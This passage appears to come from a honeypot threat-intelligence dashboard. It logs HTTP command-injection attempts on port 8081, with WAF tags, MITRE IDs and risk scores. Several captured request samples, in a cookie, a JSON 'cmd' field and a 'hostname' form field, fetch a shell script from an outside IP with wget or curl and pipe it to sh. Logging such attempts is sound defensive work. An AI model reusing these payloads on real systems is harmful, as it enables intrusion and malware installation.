"geo": 0,
"protocol": 43,
"novelty": 25,
"risk_score": 60
},
"named_classification_skipped": false,
"classification_parent": "path_traversal",
"service_name": "http",
"risk_confidence_factor": 59,
"city": null,
"is_datacenter": false,
"is_tor_hint": false,
"geo": {
"country": "NL",
"asn": 197170,
"org": "TechTies Inc.",
"is_datacenter": false,
"is_tor_hint": false
},
"fingerprint": {
"payload_hash": "6895a0e2d702e29ab58ca60561b65fa3",
"path_pattern_hash": "8a5edab282632443219e051e4ade2d1d"
},
"target_context": {
"dst_port": 8081,
"service": "http",
"service_name": "http",
"risk_score": 60
},
"payload_preview": "GET \/ HTTP\/1.1\r\nHost: 62.3.50.33:8081\r\nCookie: PHPSESSID=%60cd%20\/tmp%3Bwget%20http:\/\/91.92.40.118\/wget.sh%20-O-%7Csh%20-s%20asu",
"method": "GET",
"path": "\/",
"waf_tags": [
"950310:lfi-12",
"950326:rce-0",
"950334:rce-2",
"950346:rce-5",
"950406:ssrf-3",
"950470:nosqli-3",
"950734:sap-sapcontrol-path"
],
"waf_rule_names": [
"lfi-12",
"rce-0",
"rce-2",
"rce-5",
"ssrf-3",
"nosqli-3",
"sap-sapcontrol-path"
],
"request_line": "GET \/ HTTP\/1.1",
"request_sample": "GET \/ HTTP\/1.1\r\nHost: 62.3.50.33:8081\r\nCookie: PHPSESSID=%60cd%20\/tmp%3Bwget%20http:\/\/91.92.40.118\/wget.sh%20-O-%7Csh%20-s%20asusn%3Bbusybox%20wget%20http:\/\/91.92.40.118\/wget.sh%20-O-%7Csh%20-s%20asusn%3Bcurl%20http:\/\/91.92.40.118\/wget.sh%7Csh%20-s%20asusn",
"payload_snippet": "GET \/ HTTP\/1.1\r\nHost: 62.3.50.33:8081\r\nCookie: PHPSESSID=%60cd%20\/tmp%3Bwget%20http:\/\/91.92.40.118\/wget.sh%20-O-%7Csh%20-s%20asu",
"evidence": {
"method": "GET",
"path": "\/",
"waf_tags": [
"950310:lfi-12",
"950326:rce-0",
"950334:rce-2",
"950346:rce-5",
"950406:ssrf-3",
"950470:nosqli-3",
"950734:sap-sapcontrol-path"
],
"waf_rule_names": [
"lfi-12",
"rce-0",
"rce-2",
"rce-5",
"ssrf-3",
"nosqli-3",
"sap-sapcontrol-path"
],
"request_line": "GET \/ HTTP\/1.1",
"request_sample": "GET \/ HTTP\/1.1\r\nHost: 62.3.50.33:8081\r\nCookie: PHPSESSID=%60cd%20\/tmp%3Bwget%20http:\/\/91.92.40.118\/wget.sh%20-O-%7Csh%20-s%20asusn%3Bbusybox%20wget%20http:\/\/91.92.40.118\/wget.sh%20-O-%7Csh%20-s%20asusn%3Bcurl%20http:\/\/91.92.40.118\/wget.sh%7Csh%20-s%20asusn",
"payload_snippet": "GET \/ HTTP\/1.1\r\nHost: 62.3.50.33:8081\r\nCookie: PHPSESSID=%60cd%20\/tmp%3Bwget%20http:\/\/91.92.40.118\/wget.sh%20-O-%7Csh%20-s%20asu",
"classification_reason": "Type \u00ab lfi_path_traversal \u00bb (signaux protocolaires) \u00b7 confiance 59%"
},
"attack_stage": "exploit_attempt",
"mitre_tactics": [
"TA0001",
"TA0002"
],
"mitre": "TA0001",
"threat_family": [
"path_traversal"
],
"recommended_client_action": "investigate",
"policy_mode": "intelligence",
"sensor_role": "threat_intelligence",
"event_signature": "13d4d67eb5729f7c8aafb1ab087e0ae98ca210b7",
"protocol_details": {
"http_method": "GET",
"http_path": "\/",
"request_line": "GET \/ HTTP\/1.1",
"port": 8081,
"service": "http",
"service_label_fr": "HTTP"
},
"evidence_snippet": "GET \/ HTTP\/1.1\r\nHost: 62.3.50.33:8081\r\nCookie: PHPSESSID=%60cd%20\/tmp%3Bwget%20http:\/\/91.92.40.118\/wget.sh%20-O-%7Csh%20-s%20asu",
"attack_vector": "lfi path traversal \u00b7 via HTTP:8081 \u00b7 (tentative d'exploit)",
"target_port_label": "8081 \u00b7 HTTP",
"emulator_service": "http",
"confidence_reason": "Confiance 59 % \u2014 7 tag(s) WAF",
"site_display": {
"classification": null,
"classification_reason": "Type \u00ab lfi_path_traversal \u00bb (signaux protocolaires) \u00b7 confiance 59%",
"classification_reason_label_fr": "Type \u00ab lfi_path_traversal \u00bb (signaux protocolaires) \u00b7 confiance 59%",
"executive_one_liner_fr": "Activit\u00e9 suspecte \u2014 risque 60\/100 (Moyen) \u2014 MITRE TA0001 \u2014 confiance 59 % \u2014 via HTTP",
"confidence_pct": 59,
"confidence_breakdown": {
"waf": 100,
"classification": 78,
"behavior": 0,
"geo": 0,
"protocol": 43,
"novelty": 25,
"risk_score": 60
},
"attack_stage": "exploit_attempt",
"attack_stage_label": "Tentative d'exploit",
"attack_chain_stage": "exploitation",
"attack_chain_stage_label_fr": "Exploitation",
"risk_score": 60,
"risk_label": "Moyen",
"service_name": "http",
"service_label_fr": "HTTP",
"dst_port": 8081,
"protocol_emulated": true,
"tags_summary": [
"CRS-930100-sub"
],
"tags_summary_labels_fr": [
"CRS-930100-sub"
],
"recommended_action": "investigate",
"recommended_action_label": "Investiguer",
"mitre": "TA0001",
"mitre_technique": "TA0001",
"persona_hostname": "mail.sensor-1.internal",
"persona_service_banner": "honeypot-http",
"correlation_flags": null,
"correlation_flags_labels_fr": null,
"sensor_role": "threat_intelligence",
"sensor_role_label_fr": "Renseignement menaces",
"confidence_hint_fr": null,
"protocol_details": {
"http_method": "GET",
"http_path": "\/",
"request_line": "GET \/ HTTP\/1.1",
"port": 8081,
"service": "http",
"service_label_fr": "HTTP"
},
"attack_vector": "lfi path traversal \u00b7 via HTTP:8081 \u00b7 (tentative d'exploit)",
"evidence_snippet": "GET \/ HTTP\/1.1\r\nHost: 62.3.50.33:8081\r\nCookie: PHPSESSID=%60cd%20\/tmp%3Bwget%20http:\/\/91.92.40.118\/wget.sh%20-O-%7Csh%20-s%20asu",
"target_port_label": "8081 \u00b7 HTTP",
"emulator_service": "http",
"confidence_reason": "Confiance 59 % \u2014 7 tag(s) WAF",
"confidence_factors_fr": "Confiance 59 % \u2014 Score WAF 100 \u00b7 7 tag(s) WAF",
"campaign_hint_fr": null,
"attack_phases_timeline_fr": [
{
"key": "recon",
"label_fr": "Reconnaissance",
"active": false,
"kind": "stage"
},
{
"key": "probe",
"label_fr": "Sonde \/ probe",
"active": false,
"kind": "stage"
},
{
"key": "exploit_attempt",
"label_fr": "Tentative d'exploit",
"active": true,
"kind": "stage"
},
{
"key": "post_exploit",
"label_fr": "Post-exploitation",
"active": false,
"kind": "stage"
},
{
"key": "c2",
"label_fr": "Commande & contr\u00f4le",
"active": false,
"kind": "stage"
},
{
"key": "exploitation",
"label_fr": "Exploitation",
"active": true,
"kind": "chain",
"hint_fr": null
}
]
},
"honeypot_persona": {
"sensor_id": "sensor-1",
"hostname": "mail.sensor-1.internal",
"mail_host": "mail.sensor-1.internal",
"ldap_dc": "dc.sensor-1.internal",
"k8s_cluster": "hp-sensor-1",
"domain": "sensor-1.internal",
"service_role": "http",
"service_banner": "honeypot-http",
"service_os": "linux",
"dst_port": "8081"
},
"hostname": "mail.sensor-1.internal",
"sensor_id": "sensor-1",
"attack_chain_stage": "exploitation",
"ban_policy": "advisory_investigate",
"tags_list": [
"950310:lfi-12",
"950326:rce-0",
"950334:rce-2",
"950346:rce-5",
"950406:ssrf-3",
"950470:nosqli-3",
"950734:sap-sapcontrol-path",
"http_no_ua",
"net_web_probe"
]
}
11/07/2026 03:13:02 UTC
TCP
8081 · HTTP
Injection de commande
cmd injection · via HTTP:8081 · (tentative d'exploit) · → /api/tunnel/tailscale-install
Élevée
Élevé · 82
Détails
Voir
Étape
Tentative d'exploit
Chaîne
Exploitation
Persona
mail.sensor-1.internal
Rôle capteur
Renseignement menaces
MITRE
T1059
TA0001
TA0002
Protocole
POST /api/tunnel/tailscale-install
Émulateur
HTTP
WAF
51
Recommandation
Investiguer
Tags
950311:lfi-12
950327:rce-0
950335:rce-2
950347:rce-5
Cible HTTP
POST
/api/tunnel/tailscale-install
TLS SNI
—
Capteur
paris-1
Méthode
POST
Port
8081
Chemin / cible
/api/tunnel/tailscale-install
Pourquoi cette classification : Injection de commande (tag lfi-12) · Injection commande dans la requête · confiance 100%
Confiance classification
100%
Risque capteur
Élevé
· 82
Confiance : Confiance 100 % — Preuve dans le payload · Motif catalogue confirmé
Protocole émulé
1 Signaux
MITRE-T1059
Http Cmdi
pat-0773
pat-0775
Tactiques MITRE
TA0001
TA0002
Motifs de détection (base)
CRS 921130 duplicate CL
CRS 932100 cmd exec
CRS 932120 pipe chain
CRS 932200
CRS 932205
LFI Double-dot bypass
Ligne de requête
POST /api/tunnel/tailscale-install HTTP/1.1
User-Agent
—
Règles WAF
lfi-12
rce-0
rce-2
rce-5
ssrf-3
nosqli-3
k8s-api
Payload (extrait)
POST /api/tunnel/tailscale-install HTTP/1.1
Host: 62.3.50.33:8081
Content-Type: application/json
Content-Length: 176
Connect
Requête brute (extrait)
POST /api/tunnel/tailscale-install HTTP/1.1 Host: 62.3.50.33:8081 Content-Type: application/json Content-Length: 176 Connection: close {"cmd":"`cd /tmp;wget http://91.92.40.118/wget.sh -O-|sh -s 9router;busybox wget http://91.92.40.118/wget.sh -O-|s
Meta JSON brut
{
"protocol_emulated": true,
"emulator_response": "485454502f312e3120323030204f4b0d0a5365727665723a204170616368652f322e342e35370d0a436f6e74656e742d4c656e6774683a20320d0a436f6e6e656374696f6e3a20636c6f73650d0a0d0a4f4b",
"emulator_response_len": 82,
"http_header_count": 4,
"http_query_params": 0,
"http_path_depth": 3,
"http_path_ext": null,
"http_ua_hash": null,
"http_host_hash": "1994c0ff95f3f16c5fa9177d852edc4f1a4a8a24",
"http_target_hash": "71635acf52f08ec22ba63b1a86f3789b430e80ee",
"http_referer_hash": null,
"http_method": "POST",
"http_ua_is_cli": false,
"http_ua_is_browser": false,
"bytes_in": 318,
"payload_entropy": 5.18528285066032,
"port_category": "registered",
"org": "TechTies Inc.",
"service": "http",
"app_proto": "http",
"asn": 197170,
"country": "NL",
"dst_port": 8081,
"risk_waf": 100,
"risk_classification": 85,
"risk_behavior": 0,
"risk_geo": 0,
"risk_protocol": 43,
"risk_novelty": 25,
"risk_boost": 15,
"risk_granularity": 6.4,
"risk_breakdown": {
"waf": 100,
"classification": 85,
"behavior": 0,
"geo": 0,
"protocol": 43,
"novelty": 25
},
"risk_score": 82,
"tag_count": 15,
"anomaly_count": 0,
"campaign_key": "2e043609220034c4522b2f0d4bd3eeaf2eac744b",
"event_fingerprint": "c54fb7f35b3fbc7acdbe90e113fd03091c71dee0",
"classification_reason": "Injection de commande (tag lfi-12) \u00b7 Injection commande dans la requ\u00eate \u00b7 confiance 100%",
"confidence": 1,
"classification_confidence": 1,
"precision_score": 446,
"precision_signals": [
"MITRE-T1059",
"INT-http_cmdi",
"pat-0773",
"pat-0775",
"pat-0145",
"pat-0146"
],
"kb_rule_ids": [
"MITRE-T1059",
"INT-http_cmdi",
"pat-0773",
"pat-0775",
"pat-0145",
"pat-0146"
],
"matched_patterns": [
"pat-0842",
"pat-0773",
"pat-0775",
"pat-0145",
"pat-0146",
"pat-0103"
],
"matched_pattern_names": [
"CRS 921130 duplicate CL",
"CRS 932100 cmd exec",
"CRS 932120 pipe chain",
"CRS 932200",
"CRS 932205",
"LFI Double-dot bypass"
],
"pattern_ids": [
"pat-0842",
"pat-0773",
"pat-0775",
"pat-0145",
"pat-0146",
"pat-0103"
],
"confidence_breakdown": {
"waf": 100,
"classification": 85,
"behavior": 0,
"geo": 0,
"protocol": 43,
"novelty": 25,
"risk_score": 82
},
"named_classification_skipped": false,
"service_name": "http",
"risk_confidence_factor": 100,
"city": null,
"is_datacenter": false,
"is_tor_hint": false,
"geo": {
"country": "NL",
"asn": 197170,
"org": "TechTies Inc.",
"is_datacenter": false,
"is_tor_hint": false
},
"fingerprint": {
"payload_hash": "e9a7a43e0385345712c3599be5eaaae2",
"path_pattern_hash": "99cd8034277f5314e823702dbb3ebc6d"
},
"target_context": {
"dst_port": 8081,
"service": "http",
"service_name": "http",
"risk_score": 82
},
"payload_preview": "POST \/api\/tunnel\/tailscale-install HTTP\/1.1\r\nHost: 62.3.50.33:8081\r\nContent-Type: application\/json\r\nContent-Length: 176\r\nConnect",
"method": "POST",
"path": "\/api\/tunnel\/tailscale-install",
"waf_tags": [
"950311:lfi-12",
"950327:rce-0",
"950335:rce-2",
"950347:rce-5",
"950407:ssrf-3",
"950468:nosqli-3",
"950471:nosqli-3",
"950600:k8s-api"
],
"waf_rule_names": [
"lfi-12",
"rce-0",
"rce-2",
"rce-5",
"ssrf-3",
"nosqli-3",
"k8s-api"
],
"request_line": "POST \/api\/tunnel\/tailscale-install HTTP\/1.1",
"request_sample": "POST \/api\/tunnel\/tailscale-install HTTP\/1.1\r\nHost: 62.3.50.33:8081\r\nContent-Type: application\/json\r\nContent-Length: 176\r\nConnection: close\r\n\r\n{\"cmd\":\"`cd \/tmp;wget http:\/\/91.92.40.118\/wget.sh -O-|sh -s 9router;busybox wget http:\/\/91.92.40.118\/wget.sh -O-|s",
"payload_snippet": "POST \/api\/tunnel\/tailscale-install HTTP\/1.1\r\nHost: 62.3.50.33:8081\r\nContent-Type: application\/json\r\nContent-Length: 176\r\nConnect",
"evidence": {
"method": "POST",
"path": "\/api\/tunnel\/tailscale-install",
"waf_tags": [
"950311:lfi-12",
"950327:rce-0",
"950335:rce-2",
"950347:rce-5",
"950407:ssrf-3",
"950468:nosqli-3",
"950471:nosqli-3",
"950600:k8s-api"
],
"waf_rule_names": [
"lfi-12",
"rce-0",
"rce-2",
"rce-5",
"ssrf-3",
"nosqli-3",
"k8s-api"
],
"request_line": "POST \/api\/tunnel\/tailscale-install HTTP\/1.1",
"request_sample": "POST \/api\/tunnel\/tailscale-install HTTP\/1.1\r\nHost: 62.3.50.33:8081\r\nContent-Type: application\/json\r\nContent-Length: 176\r\nConnection: close\r\n\r\n{\"cmd\":\"`cd \/tmp;wget http:\/\/91.92.40.118\/wget.sh -O-|sh -s 9router;busybox wget http:\/\/91.92.40.118\/wget.sh -O-|s",
"payload_snippet": "POST \/api\/tunnel\/tailscale-install HTTP\/1.1\r\nHost: 62.3.50.33:8081\r\nContent-Type: application\/json\r\nContent-Length: 176\r\nConnect",
"classification_reason": "Injection de commande (tag lfi-12) \u00b7 Injection commande dans la requ\u00eate \u00b7 confiance 100%"
},
"attack_stage": "exploit_attempt",
"mitre_tactics": [
"TA0001",
"TA0002"
],
"mitre_techniques": [
"T1059",
"T1190"
],
"mitre": "T1059",
"threat_family": [
"rce_probe",
"ssrf_probe"
],
"recommended_client_action": "investigate",
"policy_mode": "intelligence",
"sensor_role": "threat_intelligence",
"event_signature": "d72e808757bd636e05a7678745d2ffbe7117988b",
"protocol_details": {
"http_method": "POST",
"http_path": "\/api\/tunnel\/tailscale-install",
"request_line": "POST \/api\/tunnel\/tailscale-install HTTP\/1.1",
"port": 8081,
"service": "http",
"service_label_fr": "HTTP"
},
"evidence_snippet": "POST \/api\/tunnel\/tailscale-install HTTP\/1.1\r\nHost: 62.3.50.33:8081\r\nContent-Type: application\/json\r\nContent-Length: 176\r\nConnect",
"attack_vector": "cmd injection \u00b7 via HTTP:8081 \u00b7 (tentative d'exploit) \u00b7 \u2192 \/api\/tunnel\/tailscale-install",
"target_port_label": "8081 \u00b7 HTTP",
"emulator_service": "http",
"confidence_reason": "Confiance 100 % \u2014 Preuve dans le payload \u00b7 Motif catalogue confirm\u00e9",
"site_display": {
"classification": null,
"classification_reason": "Injection de commande (tag lfi-12) \u00b7 Injection commande dans la requ\u00eate \u00b7 confiance 100%",
"classification_reason_label_fr": "Injection de commande (tag lfi-12) \u00b7 Injection commande dans la requ\u00eate \u00b7 confiance 100%",
"executive_one_liner_fr": "Activit\u00e9 suspecte \u2014 risque 82\/100 (\u00c9lev\u00e9) \u2014 MITRE T1059 \u2014 confiance 100 % \u2014 via HTTP",
"confidence_pct": 100,
"confidence_breakdown": {
"waf": 100,
"classification": 85,
"behavior": 0,
"geo": 0,
"protocol": 43,
"novelty": 25,
"risk_score": 82
},
"attack_stage": "exploit_attempt",
"attack_stage_label": "Tentative d'exploit",
"attack_chain_stage": "exploitation",
"attack_chain_stage_label_fr": "Exploitation",
"risk_score": 82,
"risk_label": "\u00c9lev\u00e9",
"service_name": "http",
"service_label_fr": "HTTP",
"dst_port": 8081,
"protocol_emulated": true,
"tags_summary": [
"MITRE-T1059",
"INT-http_cmdi",
"pat-0773",
"pat-0775"
],
"tags_summary_labels_fr": [
"MITRE-T1059",
"Http Cmdi",
"pat-0773",
"pat-0775"
],
"recommended_action": "investigate",
"recommended_action_label": "Investiguer",
"mitre": "T1059",
"mitre_technique": "T1059",
"persona_hostname": "mail.sensor-1.internal",
"persona_service_banner": "honeypot-http",
"correlation_flags": null,
"correlation_flags_labels_fr": null,
"sensor_role": "threat_intelligence",
"sensor_role_label_fr": "Renseignement menaces",
"confidence_hint_fr": null,
"protocol_details": {
"http_method": "POST",
"http_path": "\/api\/tunnel\/tailscale-install",
"request_line": "POST \/api\/tunnel\/tailscale-install HTTP\/1.1",
"port": 8081,
"service": "http",
"service_label_fr": "HTTP"
},
"attack_vector": "cmd injection \u00b7 via HTTP:8081 \u00b7 (tentative d'exploit) \u00b7 \u2192 \/api\/tunnel\/tailscale-install",
"evidence_snippet": "POST \/api\/tunnel\/tailscale-install HTTP\/1.1\r\nHost: 62.3.50.33:8081\r\nContent-Type: application\/json\r\nContent-Length: 176\r\nConnect",
"target_port_label": "8081 \u00b7 HTTP",
"emulator_service": "http",
"confidence_reason": "Confiance 100 % \u2014 Preuve dans le payload \u00b7 Motif catalogue confirm\u00e9",
"confidence_factors_fr": "Confiance 100 % \u2014 Score WAF 100 \u00b7 8 tag(s) WAF",
"campaign_hint_fr": null,
"attack_phases_timeline_fr": [
{
"key": "recon",
"label_fr": "Reconnaissance",
"active": false,
"kind": "stage"
},
{
"key": "probe",
"label_fr": "Sonde \/ probe",
"active": false,
"kind": "stage"
},
{
"key": "exploit_attempt",
"label_fr": "Tentative d'exploit",
"active": true,
"kind": "stage"
},
{
"key": "post_exploit",
"label_fr": "Post-exploitation",
"active": false,
"kind": "stage"
},
{
"key": "c2",
"label_fr": "Commande & contr\u00f4le",
"active": false,
"kind": "stage"
},
{
"key": "exploitation",
"label_fr": "Exploitation",
"active": true,
"kind": "chain",
"hint_fr": null
}
]
},
"honeypot_persona": {
"sensor_id": "sensor-1",
"hostname": "mail.sensor-1.internal",
"mail_host": "mail.sensor-1.internal",
"ldap_dc": "dc.sensor-1.internal",
"k8s_cluster": "hp-sensor-1",
"domain": "sensor-1.internal",
"service_role": "http",
"service_banner": "honeypot-http",
"service_os": "linux",
"dst_port": "8081"
},
"hostname": "mail.sensor-1.internal",
"sensor_id": "sensor-1",
"attack_chain_stage": "exploitation",
"ban_policy": "advisory_investigate",
"tags_list": [
"950311:lfi-12",
"950327:rce-0",
"950335:rce-2",
"950347:rce-5",
"950407:ssrf-3",
"950468:nosqli-3",
"950471:nosqli-3",
"950600:k8s-api",
"http_cmd_injection",
"http_idor_probe",
"http_jwt_body",
"http_no_ua",
"http_probe_api",
"http_ssrf_body",
"net_web_probe"
],
"behavior_alert_count": 1,
"behavior_priority": 72
}
11/07/2026 03:13:02 UTC
TCP
8081 · HTTP
Injection de commande
cmd injection · via HTTP:8081 · (tentative d'exploit) · → /api/network/settings
Élevée
Élevé · 82
Détails
Voir
Étape
Tentative d'exploit
Chaîne
Exploitation
Persona
mail.sensor-1.internal
Rôle capteur
Renseignement menaces
MITRE
T1059
TA0001
TA0002
Protocole
POST /api/network/settings
Émulateur
HTTP
WAF
51
Recommandation
Investiguer
Tags
950311:lfi-12
950327:rce-0
950335:rce-2
950347:rce-5
Cible HTTP
POST
/api/network/settings
TLS SNI
—
Capteur
paris-1
Méthode
POST
Port
8081
Chemin / cible
/api/network/settings
Pourquoi cette classification : Injection de commande (tag lfi-12) · Injection commande dans la requête · confiance 100%
Confiance classification
100%
Risque capteur
Élevé
· 82
Confiance : Confiance 100 % — Preuve dans le payload · Motif catalogue confirmé
Protocole émulé
1 Signaux
MITRE-T1059
Http Cmdi
pat-0773
pat-0775
Tactiques MITRE
TA0001
TA0002
Motifs de détection (base)
CRS 921130 duplicate CL
CRS 932100 cmd exec
CRS 932120 pipe chain
CRS 932200
CRS 932205
LFI Double-dot bypass
Ligne de requête
POST /api/network/settings HTTP/1.1
User-Agent
—
Règles WAF
lfi-12
rce-0
rce-2
rce-5
ssrf-3
nosqli-3
k8s-api
Payload (extrait)
POST /api/network/settings HTTP/1.1
Host: 62.3.50.33:8081
Content-Type: application/x-www-form-urlencoded
Content-Length: 166
Requête brute (extrait)
POST /api/network/settings HTTP/1.1 Host: 62.3.50.33:8081 Content-Type: application/x-www-form-urlencoded Content-Length: 166 Connection: close hostname=`cd /tmp;wget http://91.92.40.118/wget.sh -O-|sh -s russ;busybox wget http://91.92.40.118/wget.s
Meta JSON brut
{
"protocol_emulated": true,
"emulator_response": "485454502f312e3120323030204f4b0d0a5365727665723a204170616368652f322e342e35370d0a436f6e74656e742d4c656e6774683a20320d0a436f6e6e656374696f6e3a20636c6f73650d0a0d0a4f4b",
"emulator_response_len": 82,
"http_header_count": 4,
"http_query_params": 0,
"http_path_depth": 3,
"http_path_ext": null,
"http_ua_hash": null,
"http_host_hash": "1994c0ff95f3f16c5fa9177d852edc4f1a4a8a24",
"http_target_hash": "3f75be5a16a5bdf34f0b9aa0d9023c8d52bbfb9a",
"http_referer_hash": null,
"http_method": "POST",
"http_ua_is_cli": false,
"http_ua_is_browser": false,
"bytes_in": 317,
"payload_entropy": 5.13830715012235,
"port_category": "registered",
"org": "TechTies Inc.",
"service": "http",
"app_proto": "http",
"asn": 197170,
"country": "NL",
"dst_port": 8081,
"risk_waf": 100,
"risk_classification": 85,
"risk_behavior": 0,
"risk_geo": 0,
"risk_protocol": 43,
"risk_novelty": 25,
"risk_boost": 15,
"risk_granularity": 6.4,
"risk_breakdown": {
"waf": 100,
"classification": 85,
"behavior": 0,
"geo": 0,
"protocol": 43,
"novelty": 25
},
"risk_score": 82,
"tag_count": 15,
"anomaly_count": 0,
"campaign_key": "2e043609220034c4522b2f0d4bd3eeaf2eac744b",
"event_fingerprint": "dfce62ac5913a9cd967b0bb645ceefa90bb28ac6",
"classification_reason": "Injection de commande (tag lfi-12) \u00b7 Injection commande dans la requ\u00eate \u00b7 confiance 100%",
"confidence": 1,
"classification_confidence": 1,
"precision_score": 446,
"precision_signals": [
"MITRE-T1059",
"INT-http_cmdi",
"pat-0773",
"pat-0775",
"pat-0145",
"pat-0146"
],
"kb_rule_ids": [
"MITRE-T1059",
"INT-http_cmdi",
"pat-0773",
"pat-0775",
"pat-0145",
"pat-0146"
],
"matched_patterns": [
"pat-0842",
"pat-0773",
"pat-0775",
"pat-0145",
"pat-0146",
"pat-0103"
],
"matched_pattern_names": [
"CRS 921130 duplicate CL",
"CRS 932100 cmd exec",
"CRS 932120 pipe chain",
"CRS 932200",
"CRS 932205",
"LFI Double-dot bypass"
],
"pattern_ids": [
"pat-0842",
"pat-0773",
"pat-0775",
"pat-0145",
"pat-0146",
"pat-0103"
],
"confidence_breakdown": {
"waf": 100,
"classification": 85,
"behavior": 0,
"geo": 0,
"protocol": 43,
"novelty": 25,
"risk_score": 82
},
"named_classification_skipped": false,
"service_name": "http",
"risk_confidence_factor": 100,
"city": null,
"is_datacenter": false,
"is_tor_hint": false,
"geo": {
"country": "NL",
"asn": 197170,
"org": "TechTies Inc.",
"is_datacenter": false,
"is_tor_hint": false
},
"fingerprint": {
"payload_hash": "2fe604101c79ae7872c41cab5300a623",
"path_pattern_hash": "2b198f042c4b9cbc886c5fadc737cd96"
},
"target_context": {
"dst_port": 8081,
"service": "http",
"service_name": "http",
"risk_score": 82
},
"payload_preview": "POST \/api\/network\/settings HTTP\/1.1\r\nHost: 62.3.50.33:8081\r\nContent-Type: application\/x-www-form-urlencoded\r\nContent-Length: 166",
"method": "POST",
"path": "\/api\/network\/settings",
"waf_tags": [
"950311:lfi-12",
"950327:rce-0",
"950335:rce-2",
"950347:rce-5",
"950407:ssrf-3",
"950468:nosqli-3",
"950471:nosqli-3",
"950600:k8s-api"
],
"waf_rule_names": [
"lfi-12",
"rce-0",
"rce-2",
"rce-5",
"ssrf-3",
"nosqli-3",
"k8s-api"
],
"request_line": "POST \/api\/network\/settings HTTP\/1.1",
"request_sample": "POST \/api\/network\/settings HTTP\/1.1\r\nHost: 62.3.50.33:8081\r\nContent-Type: application\/x-www-form-urlencoded\r\nContent-Length: 166\r\nConnection: close\r\n\r\nhostname=`cd \/tmp;wget http:\/\/91.92.40.118\/wget.sh -O-|sh -s russ;busybox wget http:\/\/91.92.40.118\/wget.s",
"payload_snippet": "POST \/api\/network\/settings HTTP\/1.1\r\nHost: 62.3.50.33:8081\r\nContent-Type: application\/x-www-form-urlencoded\r\nContent-Length: 166",
"evidence": {
"method": "POST",
"path": "\/api\/network\/settings",
"waf_tags": [
"950311:lfi-12",
"950327:rce-0",
"950335:rce-2",
"950347:rce-5",
"950407:ssrf-3",
"950468:nosqli-3",
"950471:nosqli-3",
"950600:k8s-api"
],
"waf_rule_names": [
"lfi-12",
"rce-0",
"rce-2",
"rce-5",
"ssrf-3",
"nosqli-3",
"k8s-api"
],
"request_line": "POST \/api\/network\/settings HTTP\/1.1",
"request_sample": "POST \/api\/network\/settings HTTP\/1.1\r\nHost: 62.3.50.33:8081\r\nContent-Type: application\/x-www-form-urlencoded\r\nContent-Length: 166\r\nConnection: close\r\n\r\nhostname=`cd \/tmp;wget http:\/\/91.92.40.118\/wget.sh -O-|sh -s russ;busybox wget http:\/\/91.92.40.118\/wget.s",
"payload_snippet": "POST \/api\/network\/settings HTTP\/1.1\r\nHost: 62.3.50.33:8081\r\nContent-Type: application\/x-www-form-urlencoded\r\nContent-Length: 166",
"classification_reason": "Injection de commande (tag lfi-12) \u00b7 Injection commande dans la requ\u00eate \u00b7 confiance 100%"
},
"attack_stage": "exploit_attempt",
"mitre_tactics": [
"TA0001",
"TA0002"
],
"mitre_techniques": [
"T1059",
"T1190"
],
"mitre": "T1059",
"threat_family": [
"rce_probe",
"ssrf_probe"
],
"recommended_client_action": "investigate",
"policy_mode": "intelligence",
"sensor_role": "threat_intelligence",
"event_signature": "198e566fb75422036b8a2c892fd6d3ed85a1a0e1",
"protocol_details": {
"http_method": "POST",
"http_path": "\/api\/network\/settings",
"request_line": "POST \/api\/network\/settings HTTP\/1.1",
"port": 8081,
"service": "http",
"service_label_fr": "HTTP"
},
"evidence_snippet": "POST \/api\/network\/settings HTTP\/1.1\r\nHost: 62.3.50.33:8081\r\nContent-Type: application\/x-www-form-urlencoded\r\nContent-Length: 166",
"attack_vector": "cmd injection \u00b7 via HTTP:8081 \u00b7 (tentative d'exploit) \u00b7 \u2192 \/api\/network\/settings",
"target_port_label": "8081 \u00b7 HTTP",
"emulator_service": "http",
"confidence_reason": "Confiance 100 % \u2014 Preuve dans le payload \u00b7 Motif catalogue confirm\u00e9",
"site_display": {
"classification": null,
"classification_reason": "Injection de commande (tag lfi-12) \u00b7 Injection commande dans la requ\u00eate \u00b7 confiance 100%",
"classification_reason_label_fr": "Injection de commande (tag lfi-12) \u00b7 Injection commande dans la requ\u00eate \u00b7 confiance 100%",
"executive_one_liner_fr": "Activit\u00e9 suspecte \u2014 risque 82\/100 (\u00c9lev\u00e9) \u2014 MITRE T1059 \u2014 confiance 100 % \u2014 via HTTP",
"confidence_pct": 100,
"confidence_breakdown": {
"waf": 100,
"classification": 85,
"behavior": 0,
"geo": 0,
"protocol": 43,
"novelty": 25,
"risk_score": 82
},
"attack_stage": "exploit_attempt",
"attack_stage_label": "Tentative d'exploit",
"attack_chain_stage": "exploitation",
"attack_chain_stage_label_fr": "Exploitation",
"risk_score": 82,
"risk_label": "\u00c9lev\u00e9",
"service_name": "http",
"service_label_fr": "HTTP",
"dst_port": 8081,
"protocol_emulated": true,
"tags_summary": [
"MITRE-T1059",
"INT-http_cmdi",
"pat-0773",
"pat-0775"
],
"tags_summary_labels_fr": [
"MITRE-T1059",
"Http Cmdi",
"pat-0773",
"pat-0775"
],
"recommended_action": "investigate",
"recommended_action_label": "Investiguer",
"mitre": "T1059",
"mitre_technique": "T1059",
"persona_hostname": "mail.sensor-1.internal",
"persona_service_banner": "honeypot-http",
"correlation_flags": null,
"correlation_flags_labels_fr": null,
"sensor_role": "threat_intelligence",
"sensor_role_label_fr": "Renseignement menaces",
"confidence_hint_fr": null,
"protocol_details": {
"http_method": "POST",
"http_path": "\/api\/network\/settings",
"request_line": "POST \/api\/network\/settings HTTP\/1.1",
"port": 8081,
"service": "http",
"service_label_fr": "HTTP"
},
"attack_vector": "cmd injection \u00b7 via HTTP:8081 \u00b7 (tentative d'exploit) \u00b7 \u2192 \/api\/network\/settings",
"evidence_snippet": "POST \/api\/network\/settings HTTP\/1.1\r\nHost: 62.3.50.33:8081\r\nContent-Type: application\/x-www-form-urlencoded\r\nContent-Length: 166",
"target_port_label": "8081 \u00b7 HTTP",
"emulator_service": "http",
"confidence_reason": "Confiance 100 % \u2014 Preuve dans le payload \u00b7 Motif catalogue confirm\u00e9",
"confidence_factors_fr": "Confiance 100 % \u2014 Score WAF 100 \u00b7 8 tag(s) WAF",
"campaign_hint_fr": null,
"attack_phases_timeline_fr": [
{
"key": "recon",
"label_fr": "Reconnaissance",
"active": false,
"kind": "stage"
},
{
"key": "probe",
"label_fr": "Sonde \/ probe",
"active": false,
"kind": "stage"
},
{
"key": "exploit_attempt",
"label_fr": "Tentative d'exploit",
"active": true,
"kind": "stage"
},
{
"key": "post_exploit",
"label_fr": "Post-exploitation",
"active": false,
